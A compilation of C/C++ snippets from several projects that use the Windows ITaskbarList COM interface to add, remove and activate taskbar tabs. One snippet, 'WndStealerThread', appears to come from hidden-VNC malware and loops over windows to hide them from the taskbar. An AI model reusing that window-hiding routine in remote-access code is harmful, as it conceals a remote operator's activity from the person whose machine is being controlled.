void ShowInTaskbar(HWND hWnd, BOOL bshow) { HRESULT hr; ITaskbarList *pTaskbarList; hr = CoCreateInstance(CLSID_TaskbarList,NULL,CLSCTX_INPROC_SERVER, IID_ITaskbarList,(void**)&pTaskbarList); if ( hr == S_OK ) { hr = pTaskbarList->HrInit(); if ( hr == S_OK ) { if(bshow) { pTaskbarList->AddTab(hWnd); } else { pTaskbarList->DeleteTab(hWnd); } } pTaskbarList->Release(); } }
// @pymethod |PyITaskbarList|HrInit|Intializes the interface before use PyObject *PyITaskbarList::HrInit(PyObject *self, PyObject *args) { ITaskbarList *pITL = GetI(self); if ( pITL == NULL ) return NULL; HRESULT hr; PY_INTERFACE_PRECALL; hr = pITL->HrInit( ); PY_INTERFACE_POSTCALL; if ( FAILED(hr) ) return PyCom_BuildPyException(hr, pITL, IID_ITaskbarList ); Py_INCREF(Py_None); return Py_None; }
// @pymethod |PyITaskbarList|ActivateTab|Marks a window as the active tab on the taskbar PyObject *PyITaskbarList::ActivateTab(PyObject *self, PyObject *args) { ITaskbarList *pITL = GetI(self); if ( pITL == NULL ) return NULL; HWND hwnd; // @pyparm <o PyHANDLE>|hwnd||Handle to window, should have WS_CAPTION style if ( !PyArg_ParseTuple(args, "O&:ActivateTab", PyWinObject_AsHANDLE, &hwnd)) return NULL; HRESULT hr; PY_INTERFACE_PRECALL; hr = pITL->ActivateTab( hwnd ); PY_INTERFACE_POSTCALL; if ( FAILED(hr) ) return PyCom_BuildPyException(hr, pITL, IID_ITaskbarList ); Py_INCREF(Py_None); return Py_None; }
void CNotifyWnd::CreateNotifyWindow() { RECT rcClient; ::SystemParametersInfo(SPI_GETWORKAREA, 0, &rcClient, 0); rcClient.bottom=rcClient.bottom-1; rcClient.right=rcClient.right-1; rcClient.top=rcClient.bottom-m_nHeight; rcClient.left=rcClient.right-m_nWidth; Create(NULL,rcClient); ITaskbarList* pTaskbar; CoCreateInstance(CLSID_TaskbarList,0, CLSCTX_INPROC_SERVER,IID_ITaskbarList,(void**)&pTaskbar); pTaskbar->HrInit(); pTaskbar->DeleteTab(this->m_hWnd); pTaskbar->Release(); ShowWindow(SW_SHOW); SetWindowPos(HWND_TOPMOST,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE); }
void WINAPI WndStealerThread(PHVNC lpServer) { SetThreadDesktop(hDefaultDesktop); CoInitialize(0); ITaskbarList *pList; CoCreateInstance(CLSID_TaskbarList,0,CLSCTX_SERVER,IID_ITaskbarList,(void**)&pList); if (pList) { pList->HrInit(); while (!lpServer->bStopped) { EnumWindows((WNDENUMPROC)HideProcessWindows,(LPARAM)lpServer); Sleep(1); } pList->Release(); } CoUninitialize(); return; }
BOOL MetaTaskbar::taskbarControl(HWND hwnd, TaskbarAction action) { ITaskbarList *pTaskbarList; HRESULT hr; CoInitialize(NULL); hr = CoCreateInstance(CLSID_TaskbarList, NULL, CLSCTX_INPROC_SERVER, IID_ITaskbarList, (void**)&pTaskbarList); pTaskbarList->HrInit(); switch (action) { case TASKBAR_ADD: vnclog.Print(1, TEXT("%s: TASKBAR_ADD (0x%X)\n"), __FUNCTION__, hwnd); hr = pTaskbarList->AddTab(hwnd); break; case TASKBAR_DEL: vnclog.Print(1, TEXT("%s: TASKBAR_DEL (0x%X)\n"), __FUNCTION__, hwnd); hr = pTaskbarList->DeleteTab(hwnd); break; case TASKBAR_ACTIVATE: vnclog.Print(1, TEXT("%s: TASKBAR_ACTIVATE (0x%X)\n"), __FUNCTION__, hwnd); hr = pTaskbarList->ActivateTab(hwnd); break; } pTaskbarList->Release(); CoUninitialize(); return hr == NOERROR ? TRUE : FALSE; }